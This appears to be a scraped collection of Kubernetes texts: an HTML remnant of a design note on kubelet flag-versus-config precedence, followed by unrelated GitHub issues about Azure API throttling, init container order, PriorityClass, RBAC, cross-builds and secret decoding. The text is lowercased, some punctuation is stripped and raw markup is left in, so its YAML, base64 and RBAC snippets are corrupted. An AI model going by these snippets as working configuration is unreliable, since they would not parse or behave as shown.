rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >1  cli </span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >cli</span></p></td><td class=\ c12 c21\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c22 c17\ ></span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >0  defaults </span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c1\ >default</span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >default</span></p></td></tr></tbody></table><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>with this end result: </span><span class=\ c17\ > f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >cli</span><span class=\ c17\ >, f</span><span class=\ c6\ >2</span><span class=\ c17 c24\ >remote</span><span class=\ c17\ > </span></p><p class=\ c4\ ><span>or this end result if the remote config did not exist: </span><span class=\ c17\ > f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >cli</span><span class=\ c17\ >, f</span><span class=\ c6\ >2</span><span class=\ c24 c17\ >file</span><span class=\ c7 c22 c17\ > </span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c8\ >but k</span><span class=\ c14 c8\ >2</span><span class=\ c16 c8\ >&nbsp;interpretes the configuration layers like this:</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><a id=\ t.5f6bf5ecfa043d92dde5bd83d4932dbd75614f26\ ></a><a id=\ t.4\ ></a><table class=\ c9\ ><tbody><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >layer</span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletflags</span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletconfiguration</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >3  remote </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c27 c22\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >default  field not specified </span></p><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >remote</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >2  file </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c14 c27\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >default  field not specified </span></p><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >file</span></p></td></tr><tr class=\ c26\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >1  cli </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c22 c27\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >cli</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >0  defaults </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c27 c24\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >default</span></p><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >default</span></p></td></tr></tbody></table><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>with this end result: </span><span class=\ c17\ > f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >default</span><span class=\ c17\ >, f</span><span class=\ c6\ >2</span><span class=\ c24 c17\ >remote</span><span class=\ c7 c22 c17\ > </span></p><p class=\ c4\ ><span>or this end result if the remote config did not exist: </span><span class=\ c17\ > f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >default</span><span class=\ c17\ >, f</span><span class=\ c6\ >2</span><span class=\ c24 c17\ >file</span><span class=\ c17\ > </span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c8\ >changing the kubelet binary should not change the values of the configuration! this is bad!</span></p><p class=\ c4 c5\ ><span class=\ c16 c8\ ></span></p><h1 class=\ c25\  id=\ h.jdixug7iqbi1\ ><span class=\ c7 c19\ >proposed precedence</span></h1><p class=\ c4\ ><span class=\ c2\ >i propose we make flags take precedence over all else. this makes the tradeoff of preventing you from dynamically configuring a kubeletconfiguration field that was lifted from kubeletflags in a new kubelet until you remove the flag, with the benefit of preserving behavior across kubelet binary changes, which i believe is the correct solution.</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><a id=\ t.bb5b47ccafdfea4f5c91f669b9f6891c0fa5cbf7\ ></a><a id=\ t.5\ ></a><table class=\ c9\ ><tbody><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >layer</span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletflags</span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletconfiguration</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >3  cli </span></p></td><td class=\ c30\  colspan=\ 2\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c2\ >only provided cli flags override lower layers</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >2  remote </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c2\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c2\ >completely overrides kubeletconfiguration in lower layers</span></p></td></tr><tr class=\ c26\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >1  file </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c2\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c2\ >completely overrides kubeletconfiguration in lower layers</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >0  defaults </span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c2\ >kubeletflags defaults</span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c2\ >kubeletconfiguration defaults</span></p></td></tr></tbody></table><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>for example, let& 39;s say we have two kubelet versions, k</span><span class=\ c14\ >1</span><span>&nbsp;and k</span><span class=\ c14\ >2</span><span class=\ c2\ >. </span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>the fields in k</span><span class=\ c14\ >1</span><span class=\ c2\ >&nbsp;are distributed as follows:</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><a id=\ t.8c5aca40b272b4aaea68c413c4111d5a17b8875e\ ></a><a id=\ t.6\ ></a><table class=\ c9\ ><tbody><tr class=\ c11\ ><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletflags</span></p></td><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c8 c16\ >kubeletconfiguration</span></p></td></tr><tr class=\ c11\ ><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c7 c6\ >1</span></p></td><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span></p></td></tr></tbody></table><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>in k</span><span class=\ c14\ >2</span><span>, f</span><span class=\ c14\ >1</span><span>&nbsp;moves from kubeletflags to kubeletconfiguration. the associated cli flag name is retargeted from kubeletflags.f</span><span class=\ c14\ >1</span><span>&nbsp;to kubeletconfiguration.f</span><span class=\ c14\ >1</span><span class=\ c2\ >:</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><a id=\ t.bcc56eda915b0b19590713fff603f2f6b2f64765\ ></a><a id=\ t.7\ ></a><table class=\ c9\ ><tbody><tr class=\ c11\ ><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletflags</span></p></td><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletconfiguration</span></p></td></tr><tr class=\ c11\ ><td class=\ c20 c21\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0 c5\ ><span class=\ c6 c7\ ></span></p></td><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span></p><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span></p></td></tr></tbody></table><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>let there be remote and file-based configurations that both specify f</span><span class=\ c14\ >2</span><span>, and let f</span><span class=\ c14\ >1</span><span class=\ c2\ >&nbsp;be specified on the command-line.</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c8\ >k</span><span class=\ c14 c8\ >1</span><span class=\ c16 c8\ >&nbsp;interpretes the configuration layers like this:</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><a id=\ t.255952b21423126e6e98febd79d255beb56d35e8\ ></a><a id=\ t.8\ ></a><table class=\ c9\ ><tbody><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >layer</span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletflags</span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletconfiguration</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >3  cli </span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >cli</span></p></td><td class=\ c12 c21\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c22 c17\ ></span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >2  remote </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c22 c17\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >remote</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >1  file </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c6\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >file</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >0  defaults </span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c1\ >default</span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >default</span></p></td></tr></tbody></table><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>with this end result: </span><span class=\ c17\ > f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >cli</span><span class=\ c17\ >, f</span><span class=\ c6\ >2</span><span class=\ c24 c17\ >remote</span><span class=\ c7 c22 c17\ > </span></p><p class=\ c4\ ><span>or this end result if the remote config did not exist: </span><span class=\ c17\ > f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >cli</span><span class=\ c17\ >, f</span><span class=\ c6\ >2</span><span class=\ c24 c17\ >file</span><span class=\ c7 c22 c17\ > </span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c8\ >k</span><span class=\ c14 c8\ >2</span><span class=\ c16 c8\ >&nbsp;interpretes the configuration layers like this:</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><a id=\ t.a9c1cf3ee3c6c4532c5746329fe6ed5030d65a53\ ></a><a id=\ t.9\ ></a><table class=\ c9\ ><tbody><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >layer</span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletflags</span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletconfiguration</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >3  cli </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c27 c22\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >cli</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >2  remote </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c27 c22\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c1\ >default  field not specified </span></p><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >remote</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >1  file </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c14 c27\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >default  field not specified </span></p><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >file</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >0  defaults </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c27 c24\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >default</span></p><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >default</span></p></td></tr></tbody></table><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>with this end result: </span><span class=\ c17\ > f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >cli</span><span class=\ c17\ >, f</span><span class=\ c6\ >2</span><span class=\ c24 c17\ >remote</span><span class=\ c7 c22 c17\ > </span></p><p class=\ c4\ ><span>or this end result if the remote config did not exist: </span><span class=\ c17\ > f</span><span class=\ c6\ >1</span><span class=\ c24 c17\ >cli</span><span class=\ c17\ >, f</span><span class=\ c6\ >2</span><span class=\ c24 c17\ >file</span><span class=\ c17\ > </span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c8\ >there is no change in values between k</span><span class=\ c14 c8\ >1</span><span class=\ c8\ >&nbsp;and k</span><span class=\ c14 c8\ >2</span><span class=\ c16 c8\ >. this is safe.</span></p><p class=\ c4 c5\ ><span class=\ c16 c8\ ></span></p><p class=\ c4\ ><span class=\ c16 c8\ >it should be ok to require people to remove the flag override in order to dynamically configure the field or specify it in a config file. the flag will be marked deprecated as part of the transition, so users will eventually have to remove the flag no matter what.</span></p><p class=\ c4 c5\ ><span class=\ c16 c8\ ></span></p><p class=\ c4\ ><span class=\ c8\ >the </span><span class=\ c8 c28\ >annoying</span><span class=\ c8\ >&nbsp;piece of all this is that several of our node-e2e tests rely on the remote configuration taking precedence over the command line flags so that they can create test-specific environments by providing remote configuration. we can get around this issue by migrating the node-e2e tests to load configuration from a file instead of cli, but it means the changes we need to make aren& 39;t </span><span class=\ c8 c28\ >quite</span><span class=\ c8\ >&nbsp;as trivial as just changing the precedence order.</span></p></body></html>

is this a bug report or feature request?  :\r \r  \r   what happened  :\r the cloud provider specifically in response to service sync loop produce a large   of get calls against    .../providers/network/loadbalancer    and    ../providers/network/networksecuritygroups   . this does not affect smaller clusters but does affect larger clusters as it quickly burn through  arm calls quota limits  https://docs.microsoft.com/en-us/azure/azure-subscription-service-limits  this result into http 429 http code throttling the cloud provider. for an un-busy cluster this has no impact, however with cluster with large   of services / disks / dns  via external-dns  coming in and out this will bring put/post calls to a halt/or at least slow them significantly  because arm will refuse calls above the limits . note every put call is preceded with get to the get the model before updating it.\r \r   what you expected to happen  :\r arm calls should be at minimum for get. \r \r   how to reproduce it  as minimally and precisely as possible   :\r run large cluster 150 node+ with large number of create/delete services  add/edit/delete  w or w/o external dns labels. keep an eye on controller logs, cloud provider will start logging 429 response code from arm.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :  \r - kernel  e.g.  uname -a  :  \r \r   proposed fixes:  1.10 timeframe   \r 1. generalize the cache for  used only by vm get   https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_cache.go  for   lb   models and   nsg   models. \r 2. replace    ratelimiter.accept      with    ratelimiter.tryaccept      this forces the aggressive sync loop to backoff retry instead of flooding the waiting for available token from rate limiting bucket.\r 3. tune cloud provider qps  rate  to correct arm buckets based on the limits above.\r 4. split the rate limiting to read/write limiters due the huge gap between read/write limits in arm. \r \r @jackfrancis @brendanburns @jdumars \r /sig-azure

in a recent discussion on  58444, @liggitt suggested to keep  names that start with \ system-\  for system use only and not allow user defined  to start with this prefix. given that we have reserved  > 1 billion for system use only, it makes sense to reserve a prefix as well to ensure that predefined  won't conflict with user defined ones in the future.\r \r   is this a bug report or feature request?  :\r \r  \r  /assign \r \r ref  58444

is this a bug report or feature request?  :\r \r \r  \r \r   what happened  : running kubectl apply to update and add an additional init container to deployment  running second , however sometimes init containers will run out of order\r \r   what you expected to happen  : when running kubectl apply the init containers should run in the correct order\r \r   how to reproduce it  as minimally and precisely as possible   : create a deployment with an init container, then run kubectl apply to update with an additional init container   which should run second .\r \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : 1.9.4\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

\r  >  \r \r   what happened  :\r when i try to create a priorityclass object like:\r  kubectl create priorityclass default- --description=\ high priority\  \r it fails with  error: no matches for kind \ priorityclass\  in version \ scheduling.k8s.io/v1alpha1\  \r and when i try create it with yaml file like:\r    \r apiversion: scheduling.k8s.io/v1beta1\r kind: priorityclass\r metadata:\r   name: high-priority\r value: 1000000\r globaldefault: false\r description: \ this  should be used for xyz service pods only.\ \r    \r it works.\r \r   what you expected to happen  :\r create a priorityclass object with kubectl.\r \r

i'm setting up rethinkdb cluster inside kubernetes, but it doesn't work as expected for high availability  requirement. because when a pod is down, kubernetes will creates another pod, which runs another container of the same image, old mounted data will be erased and the new pod will join the cluster as a brand new instance. i'm running k8s in coreos v773.1.0 stable.  please correct me if i'm wrong, but that way it seems impossible to setup a database cluster inside k8s.  update: as documented here http://kubernetes.io/v1.0/docs/user-guide/pod-states.html restartpolicy, if  restartpolicy: always  it will restart the container if exits failure. it means by \ restart\  that it brings up the same container, or create another one? or maybe because i stop the pod via command  kubectl stop po  so it doesn't restart the same container?

i am using rbac authorization on kubernetes 1.3.2 and trying to figure out a way to allow kubectl execute its queries. on some commands like  kubectl get  this is enought:      nonresourceurls: - /api - /apis      but if i try to execute eg  kube run  it fails with:      i0727 10:52:34.272286   14651 round_trippers.go:318  get https://10.200.81.86/apis/apps/v1alpha1 403 forbidden in 72 milliseconds      i tried to use wildcard like  /api/   but no luck. currently my  clusterrole/api  resource only work if i configure it like this:      apiversion: rbac.authorization.k8s.io/v1alpha1 kind: clusterrole metadata:   name: api rules: - apigroups:  \ \     resources:      verbs:      nonresourceurls:   - /api   - /apis   - /apis/apps/v1alpha1   - /apis/autoscaling/v1   - /apis/batch/v1   - /apis/batch/v2alpha1   - /apis/extensions/v1beta1   - /apis/policy/v1alpha1   - /apis/rbac.authorization.k8s.io/v1alpha1      note that if i use only a single  ' '  it works:      nonresourceurls: - ' '      is there a way to simplify the reading of  /apis/  ?

for the performance dashboard   3118  we will need an archive of performance metrics over time. determine what format they should be stored in  http://testanything.org/ protocol?  and what the storage system should be.

bug report:\r \r   environment  :\r -   os    e.g. from /etc/os-release : osx 10.11.6\r -   kernel    e.g.  uname -a  :\r \r   what happened  :\r running the following:\r \r  $ make clean \r  $ make cross \r \r the output is:\r \r    \r +++  1122 09:29:45  linux/amd64: go build started\r +++  1122 09:29:51  linux/amd64: go build finished\r +++  1122 09:29:45  linux/arm: go build started\r   internal/nettrace\r flag provided but not defined: -largemodel\r usage: compile  options  file.go...\r   -%\tdebug non-static initializers\r   -+\tcompiling runtime\r   -a\tfor bootstrapping, allow 'any' type\r   -b\tdisable bounds checking\r   -d path\r     \tset relative path for local imports\r   -e\tdebug symbol export\r   -i directory\r     \tadd directory to import search path\r   -k\tdebug missing line numbers\r   -m\tdebug move generation\r   -n\tdisable optimizations\r   -p\tdebug peephole optimizer\r   -r\tdebug register optimizer\r   -s\tprint assembly listing\r   -v\tprint compiler version\r   -w\tdebug parse tree after type checking\r   -asmhdr file\r     \twrite assembly header to file\r   -buildid id\r     \trecord id as the build id in the export metadata\r   -complete\r     \tcompiling complete package  no c or assembly \r   -cpuprofile file\r     \twrite cpu profile to file\r   -d list\r     \tprint debug information about items in list\r   -dynlink\r     \tsupport references to go symbols defined in other shared libraries\r   -e\tno limit on number of errors reported\r   -f\tdebug stack frames\r   -g\tdebug code generation\r   -h\thalt on error\r   -i\tdebug line number stack\r   -importmap definition\r     \tadd definition of the form source=actual to import map\r   -installsuffix suffix\r     \tset pkg directory suffix\r   -j\tdebug runtime-initialized variables\r   -l\tdisable inlining\r   -linkobj file\r     \twrite linker-specific object to file\r   -live\r     \tdebug liveness analysis\r   -m\tprint optimization decisions\r   -memprofile file\r     \twrite memory profile to file\r   -memprofilerate rate\r     \tset runtime.memprofilerate to rate\r   -msan\r     \tbuild code compatible with c/c++ memory sanitizer\r   -newexport\r     \tuse new export format  default true \r   -nolocalimports\r     \treject local  relative  imports\r   -o file\r     \twrite output to file\r   -p path\r     \tset expected package import path\r   -pack\r     \twrite package file instead of object file\r   -r\tdebug generated wrappers\r   -race\r     \tenable race detector\r   -s\twarn about composite literals that can be simplified\r   -shared\r     \tgenerate code that can be linked into a shared library\r   -ssa\r     \tuse ssa backend to generate code  default true \r   -trimpath prefix\r     \tremove prefix from recorded source file paths\r   -u\treject unsafe code\r   -v\tincrease debug verbosity\r   -w\tdebug type checking\r   -wb\r     \tenable write barrier  default true \r   -x\tdebug lexer\r   k8s.io/kubernetes/vendor/github.com/golang/glog\r    \r \r where that error is spewed out several times. \r \r i suspect it has to do with building arch=arm builds.\r \r what i noticed is this that line 476 in golang.sh adds\r the additional flag when building an arm release. the flag\r \r    \r hack/lib/golang.sh\r 476:    gogcflags=\ ${gogcflags} -largemodel\ \r    \r removing that flag allows build to move forward.\r \r note, my go version is:\r  go version go1.7.1 darwin/amd64 \r \r \r   what you expected to happen  :\r make cross building to work\r \r   how to reproduce it    as minimally and precisely as possible :\r \r  $ make clean \r  $ make cross \r \r

flaky job: pr:pull-kubernetes-federation-e2e-gce  flakes in the past week:   94    consistency:   86.80%         flakiest tests by flake count: | test | flake count | | --- | --- | | federation up | 95 | | dumpfederationlogs | 89 | | federationtest | 5 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

is this a bug report or feature request?  :\r  \r   what happened  : trying to  kubectl apply -f  a  secret  with a multi-line string in its  data  throws an error if it is being created, but works fine if it is overwriting an existing  secret .\r \r   what you expected to happen  : the  kubectl apply -f  of the  secret  with a multi-line string should either succeed or fail in both cases described above.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   secret-multiline.yaml  \r    yaml\r apiversion: v1\r kind: secret\r metadata:\r   name: mysecret\r type: opaque\r data:\r   config: |\r     aw52b2ljztogmzq4ndmkzgf0zsagidogmjawms0wms0ymwpiawxslxrvoiamawqwmdekicagigdp\r     dmvuica6ienocmlzciagicbmyw1pbhkgoibedw1hcnmkicagigfkzhjlc3m6ciagicagicagbglu\r     zxm6ihwkicagicagicagicagndu4ifdhbgttyw4grhiuciagicagicagicagifn1axrlicmyotik\r     icagicagicbjaxr5icagidogum95ywwgt2frciagicagicagc3rhdgugica6ie1jciagicagicag\r     cg9zdgfsica6idq4mdq2cnnoaxatdg86icppzdawmqpwcm9kdwn0ogogicaglsbza3ugicagicag\r     ica6iejmmzk0raogicagicbxdwfudgl0esagica6idqkicagicagzgvzy3jpchrpb24goibcyxnr\r     zxriywxsciagicagihbyawnlicagicagidognduwljawciagicatihnrdsagicagicagidogqkw0\r     ndm4saogicagicbxdwfudgl0esagica6idekicagicagzgvzy3jpchrpb24goibtdxblcibib29w\r     ciagicagihbyawnlicagicagidogmjm5mi4wmap0yxggidogmjuxljqycnrvdgfsoia0ndqzljuy\r     cmnvbw1lbnrzoia+ciagicbmyxrligfmdgvybm9vbibpcybizxn0lgogicagqmfja3vwignvbnrh\r     y3qgaxmgtmfuy3kkicagiejpbgxzbwvyieagmzm4ltqzmzgu\r \r    \r \r   secret-dummy.yaml  \r    yaml\r apiversion: v1\r kind: secret\r metadata:\r   name: mysecret\r type: opaque\r data:\r   config: zhvtbxk=\r \r    \r \r the following command gives an error:\r    bash\r $ kubectl apply -f secret-multiline.yaml\r error from server  badrequest : error when creating \ secret-multiline.yaml\ : secret in version \ v1\  cannot be handled as a secret: v1.secret: objectmeta: v1.objectmeta: typemeta: kind: data: decode base64: illegal base64 data at input byte 76, error found in  10 byte of ...|tqzmzgu\ \ },\ kind\ :\ |..., bigger context ...|3qgaxmgtmfuy3kkicagiejpbgxzbwvyieagmzm4ltqzmzgu\ \ },\ kind\ :\ secret\ ,\ metadata\ :{\ annotations\ :{\ kube|...\r \r    \r \r however, this works:\r    bash\r $ kubectl apply -f secret-dummy.yaml\r secret \ mysecret\  created\r $ kubectl apply -f secret-multiline.yaml\r secret \ mysecret\  configured\r    \r \r   anything else we need to know?  : i was able to reproduce this both on a cluster with kubernetes  v1.8.7  and with minikube using version  v1.10.0 